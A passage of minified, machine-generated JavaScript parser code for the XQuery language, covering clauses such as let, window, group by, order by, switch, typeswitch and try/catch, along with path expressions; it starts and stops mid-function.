ct(){Vl.startNonterminal(\"PositionalVar\",Pl),Sl(81),kl(21),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"PositionalVar\",Pl)}function ht(){xl(81),kl(21),xl(31),kl(255),pi()}function pt(){Vl.startNonterminal(\"FTScoreVar\",Pl),Sl(228),kl(21),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"FTScoreVar\",Pl)}function dt(){xl(228),kl(21),xl(31),kl(255),pi()}function vt(){Vl.startNonterminal(\"LetClause\",Pl),Sl(174),kl(96),Nl(),gt();for(;;){if(Hl!=41)break;Sl(41),kl(96),Nl(),gt()}Vl.endNonterminal(\"LetClause\",Pl)}function mt(){xl(174),kl(96),yt();for(;;){if(Hl!=41)break;xl(41),kl(96),yt()}}function gt(){Vl.startNonterminal(\"LetBinding\",Pl);switch(Hl){case 31:Sl(31),kl(255),Nl(),hi(),kl(105),Hl==79&&(Nl(),ds());break;default:pt()}kl(27),Sl(52),kl(267),Nl(),_f(),Vl.endNonterminal(\"LetBinding\",Pl)}function yt(){switch(Hl){case 31:xl(31),kl(255),pi(),kl(105),Hl==79&&vs();break;default:dt()}kl(27),xl(52),kl(267),Df()}function bt(){Vl.startNonterminal(\"WindowClause\",Pl),Sl(137),kl(135);switch(Hl){case 251:Nl(),Et();break;default:Nl(),xt()}Vl.endNonterminal(\"WindowClause\",Pl)}function wt(){xl(137),kl(135);switch(Hl){case 251:St();break;default:Tt()}}function Et(){Vl.startNonterminal(\"TumblingWindowClause\",Pl),Sl(251),kl(85),Sl(269),kl(21),Sl(31),kl(255),Nl(),hi(),kl(110),Hl==79&&(Nl(),ds()),kl(53),Sl(154),kl(267),Nl(),_f(),Nl(),Nt();if(Hl==126||Hl==198)Nl(),kt();Vl.endNonterminal(\"TumblingWindowClause\",Pl)}function St(){xl(251),kl(85),xl(269),kl(21),xl(31),kl(255),pi(),kl(110),Hl==79&&vs(),kl(53),xl(154),kl(267),Df(),Ct(),(Hl==126||Hl==198)&&Lt()}function xt(){Vl.startNonterminal(\"SlidingWindowClause\",Pl),Sl(234),kl(85),Sl(269),kl(21),Sl(31),kl(255),Nl(),hi(),kl(110),Hl==79&&(Nl(),ds()),kl(53),Sl(154),kl(267),Nl(),_f(),Nl(),Nt(),Nl(),kt(),Vl.endNonterminal(\"SlidingWindowClause\",Pl)}function Tt(){xl(234),kl(85),xl(269),kl(21),xl(31),kl(255),pi(),kl(110),Hl==79&&vs(),kl(53),xl(154),kl(267),Df(),Ct(),Lt()}function Nt(){Vl.startNonterminal(\"WindowStartCondition\",Pl),Sl(237),kl(163),Nl(),At(),kl(83),Sl(265),kl(267),Nl(),_f(),Vl.endNonterminal(\"WindowStartCondition\",Pl)}function Ct(){xl(237),kl(163),Ot(),kl(83),xl(265),kl(267),Df()}function kt(){Vl.startNonterminal(\"WindowEndCondition\",Pl),Hl==198&&Sl(198),kl(50),Sl(126),kl(163),Nl(),At(),kl(83),Sl(265),kl(267),Nl(),_f(),Vl.endNonterminal(\"WindowEndCondition\",Pl)}function Lt(){Hl==198&&xl(198),kl(50),xl(126),kl(163),Ot(),kl(83),xl(265),kl(267),Df()}function At(){Vl.startNonterminal(\"WindowVars\",Pl),Hl==31&&(Sl(31),kl(255),Nl(),Mt()),kl(159),Hl==81&&(Nl(),ct()),kl(153),Hl==215&&(Sl(215),kl(21),Sl(31),kl(255),Nl(),Dt()),kl(127),Hl==187&&(Sl(187),kl(21),Sl(31),kl(255),Nl(),Ht()),Vl.endNonterminal(\"WindowVars\",Pl)}function Ot(){Hl==31&&(xl(31),kl(255),_t()),kl(159),Hl==81&&ht(),kl(153),Hl==215&&(xl(215),kl(21),xl(31),kl(255),Pt()),kl(127),Hl==187&&(xl(187),kl(21),xl(31),kl(255),Bt())}function Mt(){Vl.startNonterminal(\"CurrentItem\",Pl),Ha(),Vl.endNonterminal(\"CurrentItem\",Pl)}function _t(){Ba()}function Dt(){Vl.startNonterminal(\"PreviousItem\",Pl),Ha(),Vl.endNonterminal(\"PreviousItem\",Pl)}function Pt(){Ba()}function Ht(){Vl.startNonterminal(\"NextItem\",Pl),Ha(),Vl.endNonterminal(\"NextItem\",Pl)}function Bt(){Ba()}function jt(){Vl.startNonterminal(\"CountClause\",Pl),Sl(105),kl(21),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"CountClause\",Pl)}function Ft(){xl(105),kl(21),xl(31),kl(255),pi()}function It(){Vl.startNonterminal(\"WhereClause\",Pl),Sl(266),kl(267),Nl(),_f(),Vl.endNonterminal(\"WhereClause\",Pl)}function qt(){xl(266),kl(267),Df()}function Rt(){Vl.startNonterminal(\"GroupByClause\",Pl),Sl(148),kl(34),Sl(87),kl(267),Nl(),zt(),Vl.endNonterminal(\"GroupByClause\",Pl)}function Ut(){xl(148),kl(34),xl(87),kl(267),Wt()}function zt(){Vl.startNonterminal(\"GroupingSpecList\",Pl),Xt();for(;;){kl(176);if(Hl!=41)break;Sl(41),kl(267),Nl(),Xt()}Vl.endNonterminal(\"GroupingSpecList\",Pl)}function Wt(){Vt();for(;;){kl(176);if(Hl!=41)break;xl(41),kl(267),Vt()}}function Xt(){Vl.startNonterminal(\"GroupingSpec\",Pl);switch(Hl){case 31:Ll(255);break;default:_l=Hl}if(_l==3103||_l==35871||_l==36895||_l==37407||_l==37919||_l==38431||_l==39455||_l==39967||_l==40479||_l==40991||_l==41503||_l==42015||_l==42527||_l==43039||_l==43551||_l==44063||_l==45087||_l==45599||_l==46111||_l==46623||_l==47647||_l==48159||_l==49183||_l==49695||_l==50207||_l==51743||_l==52255||_l==52767||_l==53279||_l==53791||_l==54303||_l==55327||_l==55839||_l==56351||_l==56863||_l==57375||_l==57887||_l==60447||_l==60959||_l==61471||_l==61983||_l==62495||_l==63007||_l==63519||_l==64031||_l==64543||_l==65567||_l==66079||_l==67103||_l==67615||_l==68127||_l==68639||_l==69151||_l==69663||_l==70175||_l==72223||_l==74271||_l==74783||_l==75807||_l==76831||_l==77343||_l==77855||_l==78367||_l==78879||_l==79391||_l==81439||_l==81951||_l==82463||_l==82975||_l==83487||_l==83999||_l==84511||_l==85023||_l==85535||_l==87071||_l==87583||_l==88095||_l==89119||_l==90143||_l==91167||_l==92191||_l==92703||_l==93215||_l==94239||_l==94751||_l==95263||_l==97823||_l==98335||_l==99359||_l==101407||_l==101919||_l==102431||_l==102943||_l==103455||_l==103967||_l==105503||_l==108575||_l==109087||_l==110623||_l==111647||_l==112159||_l==112671||_l==113183||_l==113695||_l==114719||_l==115231||_l==115743||_l==116255||_l==116767||_l==117279||_l==119839||_l==120351||_l==120863||_l==121375||_l==122911||_l==123935||_l==124447||_l==124959||_l==127007||_l==127519||_l==128031||_l==128543||_l==129055||_l==129567||_l==130079||_l==131103||_l==131615||_l==133151||_l==133663||_l==134175||_l==134687||_l==136223||_l==136735||_l==138271||_l==140319){_l=Kl(2,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Jt(),kl(183);if(Hl==52||Hl==79)Hl==79&&vs(),kl(27),xl(52),kl(267),Df();Hl==94&&(xl(94),kl(15),xl(7)),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(2,Pl,_l)}}switch(_l){case-1:$t(),kl(183);if(Hl==52||Hl==79)Hl==79&&(Nl(),ds()),kl(27),Sl(52),kl(267),Nl(),_f();Hl==94&&(Sl(94),kl(15),Sl(7));break;default:_f()}Vl.endNonterminal(\"GroupingSpec\",Pl)}function Vt(){switch(Hl){case 31:Ll(255);break;default:_l=Hl}if(_l==3103||_l==35871||_l==36895||_l==37407||_l==37919||_l==38431||_l==39455||_l==39967||_l==40479||_l==40991||_l==41503||_l==42015||_l==42527||_l==43039||_l==43551||_l==44063||_l==45087||_l==45599||_l==46111||_l==46623||_l==47647||_l==48159||_l==49183||_l==49695||_l==50207||_l==51743||_l==52255||_l==52767||_l==53279||_l==53791||_l==54303||_l==55327||_l==55839||_l==56351||_l==56863||_l==57375||_l==57887||_l==60447||_l==60959||_l==61471||_l==61983||_l==62495||_l==63007||_l==63519||_l==64031||_l==64543||_l==65567||_l==66079||_l==67103||_l==67615||_l==68127||_l==68639||_l==69151||_l==69663||_l==70175||_l==72223||_l==74271||_l==74783||_l==75807||_l==76831||_l==77343||_l==77855||_l==78367||_l==78879||_l==79391||_l==81439||_l==81951||_l==82463||_l==82975||_l==83487||_l==83999||_l==84511||_l==85023||_l==85535||_l==87071||_l==87583||_l==88095||_l==89119||_l==90143||_l==91167||_l==92191||_l==92703||_l==93215||_l==94239||_l==94751||_l==95263||_l==97823||_l==98335||_l==99359||_l==101407||_l==101919||_l==102431||_l==102943||_l==103455||_l==103967||_l==105503||_l==108575||_l==109087||_l==110623||_l==111647||_l==112159||_l==112671||_l==113183||_l==113695||_l==114719||_l==115231||_l==115743||_l==116255||_l==116767||_l==117279||_l==119839||_l==120351||_l==120863||_l==121375||_l==122911||_l==123935||_l==124447||_l==124959||_l==127007||_l==127519||_l==128031||_l==128543||_l==129055||_l==129567||_l==130079||_l==131103||_l==131615||_l==133151||_l==133663||_l==134175||_l==134687||_l==136223||_l==136735||_l==138271||_l==140319){_l=Kl(2,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Jt(),kl(183);if(Hl==52||Hl==79)Hl==79&&vs(),kl(27),xl(52),kl(267),Df();Hl==94&&(xl(94),kl(15),xl(7)),Jl(2,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(2,t,-2)}}}switch(_l){case-1:Jt(),kl(183);if(Hl==52||Hl==79)Hl==79&&vs(),kl(27),xl(52),kl(267),Df();Hl==94&&(xl(94),kl(15),xl(7));break;case-3:break;default:Df()}}function $t(){Vl.startNonterminal(\"GroupingVariable\",Pl),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"GroupingVariable\",Pl)}function Jt(){xl(31),kl(255),pi()}function Kt(){Vl.startNonterminal(\"OrderByClause\",Pl);switch(Hl){case 201:Sl(201),kl(34),Sl(87);break;default:Sl(236),kl(67),Sl(201),kl(34),Sl(87)}kl(267),Nl(),Gt(),Vl.endNonterminal(\"OrderByClause\",Pl)}function Qt(){switch(Hl){case 201:xl(201),kl(34),xl(87);break;default:xl(236),kl(67),xl(201),kl(34),xl(87)}kl(267),Yt()}function Gt(){Vl.startNonterminal(\"OrderSpecList\",Pl),Zt();for(;;){kl(176);if(Hl!=41)break;Sl(41),kl(267),Nl(),Zt()}Vl.endNonterminal(\"OrderSpecList\",Pl)}function Yt(){en();for(;;){kl(176);if(Hl!=41)break;xl(41),kl(267),en()}}function Zt(){Vl.startNonterminal(\"OrderSpec\",Pl),_f(),Nl(),tn(),Vl.endNonterminal(\"OrderSpec\",Pl)}function en(){Df(),nn()}function tn(){Vl.startNonterminal(\"OrderModifier\",Pl);if(Hl==80||Hl==113)switch(Hl){case 80:Sl(80);break;default:Sl(113)}kl(180);if(Hl==123){Sl(123),kl(121);switch(Hl){case 147:Sl(147);break;default:Sl(173)}}kl(177),Hl==94&&(Sl(94),kl(15),Sl(7)),Vl.endNonterminal(\"OrderModifier\",Pl)}function nn(){if(Hl==80||Hl==113)switch(Hl){case 80:xl(80);break;default:xl(113)}kl(180);if(Hl==123){xl(123),kl(121);switch(Hl){case 147:xl(147);break;default:xl(173)}}kl(177),Hl==94&&(xl(94),kl(15),xl(7))}function rn(){Vl.startNonterminal(\"ReturnClause\",Pl),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"ReturnClause\",Pl)}function sn(){xl(220),kl(267),Df()}function on(){Vl.startNonterminal(\"QuantifiedExpr\",Pl);switch(Hl){case 235:Sl(235);break;default:Sl(129)}kl(21),Nl(),an();for(;;){if(Hl!=41)break;Sl(41),kl(21),Nl(),an()}Sl(224),kl(267),Nl(),_f(),Vl.endNonterminal(\"QuantifiedExpr\",Pl)}function un(){switch(Hl){case 235:xl(235);break;default:xl(129)}kl(21),fn();for(;;){if(Hl!=41)break;xl(41),kl(21),fn()}xl(224),kl(267),Df()}function an(){Vl.startNonterminal(\"QuantifiedVarDecl\",Pl),Sl(31),kl(255),Nl(),hi(),kl(110),Hl==79&&(Nl(),ds()),kl(53),Sl(154),kl(267),Nl(),_f(),Vl.endNonterminal(\"QuantifiedVarDecl\",Pl)}function fn(){xl(31),kl(255),pi(),kl(110),Hl==79&&vs(),kl(53),xl(154),kl(267),Df()}function ln(){Vl.startNonterminal(\"SwitchExpr\",Pl),Sl(243),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),hn();if(Hl!=88)break}Sl(109),kl(70),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"SwitchExpr\",Pl)}function cn(){xl(243),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),pn();if(Hl!=88)break}xl(109),kl(70),xl(220),kl(267),Df()}function hn(){Vl.startNonterminal(\"SwitchCaseClause\",Pl);for(;;){Sl(88),kl(267),Nl(),dn();if(Hl!=88)break}Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"SwitchCaseClause\",Pl)}function pn(){for(;;){xl(88),kl(267),vn();if(Hl!=88)break}xl(220),kl(267),Df()}function dn(){Vl.startNonterminal(\"SwitchCaseOperand\",Pl),_f(),Vl.endNonterminal(\"SwitchCaseOperand\",Pl)}function vn(){Df()}function mn(){Vl.startNonterminal(\"TypeswitchExpr\",Pl),Sl(253),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),yn();if(Hl!=88)break}Sl(109),kl(95),Hl==31&&(Sl(31),kl(255),Nl(),hi()),kl(70),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"TypeswitchExpr\",Pl)}function gn(){xl(253),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),bn();if(Hl!=88)break}xl(109),kl(95),Hl==31&&(xl(31),kl(255),pi()),kl(70),xl(220),kl(267),Df()}function yn(){Vl.startNonterminal(\"CaseClause\",Pl),Sl(88),kl(262),Hl==31&&(Sl(31),kl(255),Nl(),hi(),kl(30),Sl(79)),kl(260),Nl(),wn(),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"CaseClause\",Pl)}function bn(){xl(88),kl(262),Hl==31&&(xl(31),kl(255),pi(),kl(30),xl(79)),kl(260),En(),xl(220),kl(267),Df()}function wn(){Vl.startNonterminal(\"SequenceTypeUnion\",Pl),ms();for(;;){kl(134);if(Hl!=279)break;Sl(279),kl(260),Nl(),ms()}Vl.endNonterminal(\"SequenceTypeUnion\",Pl)}function En(){gs();for(;;){kl(134);if(Hl!=279)break;xl(279),kl(260),gs()}}function Sn(){Vl.startNonterminal(\"IfExpr\",Pl),Sl(152),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37),kl(77),Sl(245),kl(267),Nl(),_f(),Sl(122),kl(267),Nl(),_f(),Vl.endNonterminal(\"IfExpr\",Pl)}function xn(){xl(152),kl(22),xl(34),kl(267),Y(),xl(37),kl(77),xl(245),kl(267),Df(),xl(122),kl(267),Df()}function Tn(){Vl.startNonterminal(\"TryCatchExpr\",Pl),Cn();for(;;){kl(36),Nl(),On(),kl(184);if(Hl!=91)break}Vl.endNonterminal(\"TryCatchExpr\",Pl)}function Nn(){kn();for(;;){kl(36),Mn(),kl(184);if(Hl!=91)break}}function Cn(){Vl.startNonterminal(\"TryClause\",Pl),Sl(250),kl(87),Sl(276),kl(267),Nl(),Ln(),Sl(282),Vl.endNonterminal(\"TryClause\",Pl)}function kn(){xl(250),kl(87),xl(276),kl(267),An(),xl(282)}function Ln(){Vl.startNonterminal(\"TryTargetExpr\",Pl),G(),Vl.endNonterminal(\"TryTargetExpr\",Pl)}function An(){Y()}function On(){Vl.startNonterminal(\"CatchClause\",Pl),Sl(91),kl(257),Nl(),_n(),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"CatchClause\",Pl)}function Mn(){xl(91),kl(257),Dn(),xl(276),kl(267),Y(),xl(282)}function _n(){Vl.startNonterminal(\"CatchErrorList\",Pl),Qr();for(;;){kl(136);if(Hl!=279)break;Sl(279),kl(257),Nl(),Qr()}Vl.endNonterminal(\"CatchErrorList\",Pl)}function Dn(){Gr();for(;;){kl(136);if(Hl!=279)break;xl(279),kl(257),Gr()}}function Pn(){Vl.startNonterminal(\"OrExpr\",Pl),Bn();for(;;){if(Hl!=200)break;Sl(200),kl(267),Nl(),Bn()}Vl.endNonterminal(\"OrExpr\",Pl)}function Hn(){jn();for(;;){if(Hl!=200)break;xl(200),kl(267),jn()}}function Bn(){Vl.startNonterminal(\"AndExpr\",Pl),Fn();for(;;){if(Hl!=75)break;Sl(75),kl(267),Nl(),Fn()}Vl.endNonterminal(\"AndExpr\",Pl)}function jn(){In();for(;;){if(Hl!=75)break;xl(75),kl(267),In()}}function Fn(){Vl.startNonterminal(\"ComparisonExpr\",Pl),qn();if(Hl==27||Hl==54||Hl==57||Hl==58||Hl==60||Hl==61||Hl==62||Hl==63||Hl==128||Hl==146||Hl==150||Hl==164||Hl==172||Hl==178||Hl==186){switch(Hl){case 128:case 146:case 150:case 172:case 178:case 186:Nl(),mr();break;case 57:case 63:case 164:Nl(),yr();break;default:Nl(),dr()}kl(267),Nl(),qn()}Vl.endNonterminal(\"ComparisonExpr\",Pl)}function In(){Rn();if(Hl==27||Hl==54||Hl==57||Hl==58||Hl==60||Hl==61||Hl==62||Hl==63||Hl==128||Hl==146||Hl==150||Hl==164||Hl==172||Hl==178||Hl==186){switch(Hl){case 128:case 146:case 150:case 172:case 178:case 186:gr();break;case 57:case 63:case 164:br();break;default:vr()}kl(267),Rn()}}function qn(){Vl.startNonterminal(\"FTContainsExpr\",Pl),Un(),Hl==99&&(Sl(99),kl(76),Sl(244),kl(162),Nl(),Jo(),Hl==271&&(Nl(),ha())),Vl.endNonterminal(\"FTContainsExpr\",Pl)}function Rn(){zn(),Hl==99&&(xl(99),kl(76),xl(244),kl(162),Ko(),Hl==271&&pa())}function Un(){Vl.startNonterminal(\"StringConcatExpr\",Pl),Wn();for(;;){if(Hl!=280)break;Sl(280),kl(267),Nl(),Wn()}Vl.endNonterminal(\"StringConcatExpr\",Pl)}function zn(){Xn();for(;;){if(Hl!=280)break;xl(280),kl(267),Xn()}}function Wn(){Vl.startNonterminal(\"RangeExpr\",Pl),Vn(),Hl==248&&(Sl(248),kl(267),Nl(),Vn()),Vl.endNonterminal(\"RangeExpr\",Pl)}function Xn(){$n(),Hl==248&&(xl(248),kl(267),$n())}function Vn(){Vl.startNonterminal(\"AdditiveExpr\",Pl),Jn();for(;;){if(Hl!=40&&Hl!=42)break;switch(Hl){case 40:Sl(40);break;default:Sl(42)}kl(267),Nl(),Jn()}Vl.endNonterminal(\"AdditiveExpr\",Pl)}function $n(){Kn();for(;;){if(Hl!=40&&Hl!=42)break;switch(Hl){case 40:xl(40);break;default:xl(42)}kl(267),Kn()}}function Jn(){Vl.startNonterminal(\"MultiplicativeExpr\",Pl),Qn();for(;;){if(Hl!=38&&Hl!=118&&Hl!=151&&Hl!=180)break;switch(Hl){case 38:Sl(38);break;case 118:Sl(118);break;case 151:Sl(151);break;default:Sl(180)}kl(267),Nl(),Qn()}Vl.endNonterminal(\"MultiplicativeExpr\",Pl)}function Kn(){Gn();for(;;){if(Hl!=38&&Hl!=118&&Hl!=151&&Hl!=180)break;switch(Hl){case 38:xl(38);break;case 118:xl(118);break;case 151:xl(151);break;default:xl(180)}kl(267),Gn()}}function Qn(){Vl.startNonterminal(\"UnionExpr\",Pl),Yn();for(;;){if(Hl!=254&&Hl!=279)break;switch(Hl){case 254:Sl(254);break;default:Sl(279)}kl(267),Nl(),Yn()}Vl.endNonterminal(\"UnionExpr\",Pl)}function Gn(){Zn();for(;;){if(Hl!=254&&Hl!=279)break;switch(Hl){case 254:xl(254);break;default:xl(279)}kl(267),Zn()}}function Yn(){Vl.startNonterminal(\"IntersectExceptExpr\",Pl),er();for(;;){kl(223);if(Hl!=131&&Hl!=162)break;switch(Hl){case 162:Sl(162);break;default:Sl(131)}kl(267),Nl(),er()}Vl.endNonterminal(\"IntersectExceptExpr\",Pl)}function Zn(){tr();for(;;){kl(223);if(Hl!=131&&Hl!=162)break;switch(Hl){case 162:xl(162);break;default:xl(131)}kl(267),tr()}}function er(){Vl.startNonterminal(\"InstanceofExpr\",Pl),nr(),kl(224),Hl==160&&(Sl(160),kl(64),Sl(196),kl(260),Nl(),ms()),Vl.endNonterminal(\"InstanceofExpr\",Pl)}function tr(){rr(),kl(224),Hl==160&&(xl(160),kl(64),xl(196),kl(260),gs())}function nr(){Vl.startNonterminal(\"TreatExpr\",Pl),ir(),kl(225),Hl==249&&(Sl(249),kl(30),Sl(79),kl(260),Nl(),ms()),Vl.endNonterminal(\"TreatExpr\",Pl)}function rr(){sr(),kl(225),Hl==249&&(xl(249),kl(30),xl(79),kl(260),gs())}function ir(){Vl.startNonterminal(\"CastableExpr\",Pl),or(),kl(226),Hl==90&&(Sl(90),kl(30),Sl(79),kl(255),Nl(),hs()),Vl.endNonterminal(\"CastableExpr\",Pl)}function sr(){ur(),kl(226),Hl==90&&(xl(90),kl(30),xl(79),kl(255),ps())}function or(){Vl.startNonterminal(\"CastExpr\",Pl),ar(),kl(228),Hl==89&&(Sl(89),kl(30),Sl(79),kl(255),Nl(),hs()),Vl.endNonterminal(\"CastExpr\",Pl)}function ur(){fr(),kl(228),Hl==89&&(xl(89),kl(30),xl(79),kl(255),ps())}function ar(){Vl.startNonterminal(\"UnaryExpr\",Pl);for(;;){kl(267);if(Hl!=40&&Hl!=42)break;switch(Hl){case 42:Sl(42);break;default:Sl(40)}}Nl(),lr(),Vl.endNonterminal(\"UnaryExpr\",Pl)}function fr(){for(;;){kl(267);if(Hl!=40&&Hl!=42)break;switch(Hl){case 42:xl(42);break;default:xl(40)}}cr()}function lr(){Vl.startNonterminal(\"ValueExpr\",Pl);switch(Hl){case 260:Ll(248);break;default:_l=Hl}switch(_l){case 87812:case 123140:case 129284:case 141572:wr();break;case 35:Tr();break;default:hr()}Vl.endNonterminal(\"ValueExpr\",Pl)}function cr(){switch(Hl){case 260:Ll(248);break;default:_l=Hl}switch(_l){case 87812:case 123140:case 129284:case 141572:Er();break;case 35:Nr();break;default:pr()}}function hr(){Vl.startNonterminal(\"SimpleMapExpr\",Pl),Lr();for(;;){if(Hl!=26)break;Sl(26),kl(266),Nl(),Lr()}Vl.endNonterminal(\"SimpleMapExpr\",Pl)}function pr(){Ar();for(;;){if(Hl!=26)break;xl(26),kl(266),Ar()}}function dr(){Vl.startNonterminal(\"GeneralComp\",Pl);switch(Hl){case 60:Sl(60);break;case 27:Sl(27);break;case 54:Sl(54);break;case 58:Sl(58);break;case 61:Sl(61);break;default:Sl(62)}Vl.endNonterminal(\"GeneralComp\",Pl)}function vr(){switch(Hl){case 60:xl(60);break;case 27:xl(27);break;case 54:xl(54);break;case 58:xl(58);break;case 61:xl(61);break;default:xl(62)}}function mr(){Vl.startNonterminal(\"ValueComp\",Pl);switch(Hl){case 128:Sl(128);break;case 186:Sl(186);break;case 178:Sl(178);break;case 172:Sl(172);break;case 150:Sl(150);break;default:Sl(146)}Vl.endNonterminal(\"ValueComp\",Pl)}function gr(){switch(Hl){case 128:xl(128);break;case 186:xl(186);break;case 178:xl(178);break;case 172:xl(172);break;case 150:xl(150);break;default:xl(146)}}function yr(){Vl.startNonterminal(\"NodeComp\",Pl);switch(Hl){case 164:Sl(164);break;case 57:Sl(57);break;default:Sl(63)}Vl.endNonterminal(\"NodeComp\",Pl)}function br(){switch(Hl){case 164:xl(164);break;case 57:xl(57);break;default:xl(63)}}function wr(){Vl.startNonterminal(\"ValidateExpr\",Pl),Sl(260),kl(160);if(Hl!=276)switch(Hl){case 252:Sl(252),kl(255),Nl(),go();break;default:Nl(),Sr()}kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"ValidateExpr\",Pl)}function Er(){xl(260),kl(160);if(Hl!=276)switch(Hl){case 252:xl(252),kl(255),yo();break;default:xr()}kl(87),xl(276),kl(267),Y(),xl(282)}function Sr(){Vl.startNonterminal(\"ValidationMode\",Pl);switch(Hl){case 171:Sl(171);break;default:Sl(240)}Vl.endNonterminal(\"ValidationMode\",Pl)}function xr(){switch(Hl){case 171:xl(171);break;default:xl(240)}}function Tr(){Vl.startNonterminal(\"ExtensionExpr\",Pl);for(;;){Nl(),Cr(),kl(100);if(Hl!=35)break}Sl(276),kl(274),Hl!=282&&(Nl(),G()),Sl(282),Vl.endNonterminal(\"ExtensionExpr\",Pl)}function Nr(){for(;;){kr(),kl(100);if(Hl!=35)break}xl(276),kl(274),Hl!=282&&Y(),xl(282)}function Cr(){Vl.startNonterminal(\"Pragma\",Pl),Sl(35),Al(252),Hl==21&&Sl(21),Ha(),Al(10),Hl==21&&(Sl(21),Al(0),Sl(1)),Al(5),Sl(30),Vl.endNonterminal(\"Pragma\",Pl)}function kr(){xl(35),Al(252),Hl==21&&xl(21),Ba(),Al(10),Hl==21&&(xl(21),Al(0),xl(1)),Al(5),xl(30)}function Lr(){Vl.startNonterminal(\"PathExpr\",Pl);switch(Hl){case 46:Sl(46),kl(286);switch(Hl){case 25:case 26:case 27:case 37:case 38:case 40:case 41:case 42:case 49:case 53:case 57:case 58:case 60:case 61:case 62:case 63:case 69:case 87:case 99:case 205:case 232:case 247:case 273:case 279:case 280:case 281:case 282:break;default:Nl(),Or()}break;case 47:Sl(47),kl(265),Nl(),Or();break;default:Or()}Vl.endNonterminal(\"PathExpr\",Pl)}function Ar(){switch(Hl){case 46:xl(46),kl(286);switch(Hl){case 25:case 26:case 27:case 37:case 38:case 40:case 41:case 42:case 49:case 53:case 57:case 58:case 60:case 61:case 62:case 63:case 69:case 87:case 99:case 205:case 232:case 247:case 273:case 279:case 280:case 281:case 282:break;default:Mr()}break;case 47:xl(47),kl(265),Mr();break;default:Mr()}}function Or(){Vl.startNonterminal(\"RelativePathExpr\",Pl),_r();for(;;){switch(Hl){case 26:Ll(266);break;default:_l=Hl}if(_l!=25&&_l!=27&&_l!=37&&_l!=38&&_l!=40&&_l!=41&&_l!=42&&_l!=46&&_l!=47&&_l!=49&&_l!=53&&_l!=54&&_l!=57&&_l!=58&&_l!=60&&_l!=61&&_l!=62&&_l!=63&&_l!=69&&_l!=70&&_l!=75&&_l!=79&&_l!=80&&_l!=81&&_l!=84&&_l!=87&&_l!=88&&_l!=89&&_l!=90&&_l!=94&&_l!=99&&_l!=105&&_l!=109&&_l!=113&&_l!=118&&_l!=122&&_l!=123&&_l!=126&&_l!=128&&_l!=131&&_l!=137&&_l!=146&&_l!=148&&_l!=150&&_l!=151&&_l!=160&&_l!=162&&_l!=163&&_l!=164&&_l!=172&&_l!=174&&_l!=178&&_l!=180&&_l!=181&&_l!=186&&_l!=198&&_l!=200&&_l!=201&&_l!=205&&_l!=220&&_l!=224&&_l!=232&&_l!=236&&_l!=237&&_l!=247&&_l!=248&&_l!=249&&_l!=254&&_l!=266&&_l!=270&&_l!=273&&_l!=279&&_l!=280&&_l!=281&&_l!=282&&_l!=23578&&_l!=24090){_l=Kl(3,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{switch(Hl){case 46:xl(46);break;case 47:xl(47);break;default:xl(26)}kl(265),Dr(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(3,Pl,_l)}}if(_l!=-1&&_l!=46&&_l!=47)break;switch(Hl){case 46:Sl(46);break;case 47:Sl(47);break;default:Sl(26)}kl(265),Nl(),_r()}Vl.endNonterminal(\"RelativePathExpr\",Pl)}function Mr(){Dr();for(;;){switch(Hl){case 26:Ll(266);break;default:_l=Hl}if(_l!=25&&_l!=27&&_l!=37&&_l!=38&&_l!=40&&_l!=41&&_l!=42&&_l!=46&&_l!=47&&_l!=49&&_l!=53&&_l!=54&&_l!=57&&_l!=58&&_l!=60&&_l!=61&&_l!=62&&_l!=63&&_l!=69&&_l!=70&&_l!=75&&_l!=79&&_l!=80&&_l!=81&&_l!=84&&_l!=87&&_l!=88&&_l!=89&&_l!=90&&_l!=94&&_l!=99&&_l!=105&&_l!=109&&_l!=113&&_l!=118&&_l!=122&&_l!=123&&_l!=126&&_l!=128&&_l!=131&&_l!=137&&_l!=146&&_l!=148&&_l!=150&&_l!=151&&_l!=160&&_l!=162&&_l!=163&&_l!=164&&_l!=172&&_l!=174&&_l!=178&&_l!=180&&_l!=181&&_l!=186&&_l!=198&&_l!=200&&_l!=201&&_l!=205&&_l!=220&&_l!=224&&_l!=232&&_l!=236&&_l!=237&&_l!=247&&_l!=248&&_l!=249&&_l!=254&&_l!=266&&_l!=270&&_l!=273&&_l!=279&&_l!=280&&_l!=281&&_l!=282&&_l!=23578&&_l!=24090){_l=Kl(3,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{switch(Hl){case 46:xl(46);break;case 